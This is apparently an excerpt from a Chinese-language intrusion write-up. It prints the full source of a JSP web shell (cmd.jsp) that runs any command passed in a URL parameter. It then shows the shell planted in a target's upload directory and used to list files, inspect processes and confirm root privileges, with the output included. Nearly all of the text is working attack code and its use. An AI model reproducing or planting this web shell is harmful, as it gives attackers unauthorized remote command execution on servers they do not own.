| 〈%@ page import="java.io.*" %〉 〈% try { String cmd = request.getParameter("cmd"); Process child = Runtime.getRuntime().exec(cmd); InputStream in = child.getInputStream(); int c; while ((c = in.read()) != -1) { out.print((char)c); } in.close(); try { child.waitFor(); } catch (InterruptedException e) { e.printStackTrace(); } } catch (IOException e) { System.err.println(e); } %〉 |
| http://target:8080/upload/cmd.jsp?cmd=ls+-la+/ (详细结果这里就不列出来了) |
| sqld"〉http://target:8080/upload/cmd.jsp?cmd=ps+aux+|grep+mysqld |
| root 87494 0.2 1.9 17300 4800 p0- S 28Jun01 5:54.72 /usr/local/data/mysql |
| http://target:8080/upload/cmd.jsp?cmd=id |
| uid=0(root) gid=0(xxx) groups=0(xxx),2(xxx),3(xxx),4(xxx),5(xxx),20(xxx),31(xxx) |
| http://target:8080/upload/cmd.jsp?cmd=ps+aux 果然是root身份运行的(不列出来了) |
关注此文的读者还看过: